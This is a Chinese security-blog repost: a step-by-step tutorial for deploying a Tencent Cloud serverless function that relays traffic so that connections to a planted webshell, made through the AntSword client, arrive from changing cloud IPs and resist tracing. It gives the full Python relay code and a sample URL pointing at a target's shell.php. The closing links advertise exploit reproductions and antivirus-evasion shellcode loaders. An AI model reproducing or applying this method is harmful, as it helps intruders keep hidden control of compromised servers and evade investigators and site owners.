原理介绍
这个技术的核心原理是利用腾讯云的云函数将我们的请求进行转发(和一些使用第三方应用进行转发是一样的)。在国外应该早就玩烂了。
具体步骤
创建函数
使用默认模板即可，然后选择下一步。
到这里也可以全部默认，函数名称和地域可以自己自由发挥，然后点击完成。
然后依次打开函数管理 - 函数代码。
然后把下面代码替换 index.py 的代码,点击部署。
# -*- coding: utf8 -*-import requestsimport jsondef geturl(urlstr):jurlstr = json.dumps(urlstr)dict_url = json.loads(jurlstr)return dict_url['u']def main_handler(event, context):url = geturl(event['queryString'])postdata = event['body']headers=event['headers']resp=requests.post(url,data=postdata,headers=headers,verify=False)response={"isBase64Encoded": False,"statusCode": 200,"headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},"body": resp.text}return response
点击触发管理，就会看到访问路径，复制备用。
开始 Webshell 请求来源隐藏
打开蚁剑，url一栏中填入 访问路径 + webshell地址，列如：
https://service-gcuy2k9u-1257053841.gz.apigw.tencentcs.com/release/APIGWHtmlDemo-1614356287?u=https://www.xxx.com/shell.php其他设置和正常使用配置即可，看看效果。
所有请求都是利用腾讯云的云函数将我们的请求进行转发，云函数的服务器是自带 CDN 的，所以我们每次去请求的 Webshell IP 都是不同的，这就达到了 Webshell 请求来源隐藏。
注意
在函数管理 - 函数配置里面，最好把执行超时时间设置成和蚁剑里面的超时时间一样或者更长。
文章来源：白帽兔
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细 | 钟馗之眼】ZoomEye-python命令行的使用
【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
一如既往的学习，一如既往的整理，一如即往的分享
“如侵权请私聊公众号删文”
推荐阅读↓↓↓
我知道你在看哟
原文始发于微信公众号（渗透Xiao白帽）：干货分享 | 基于云函数防溯源隐匿连接webshell（建议收藏）
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论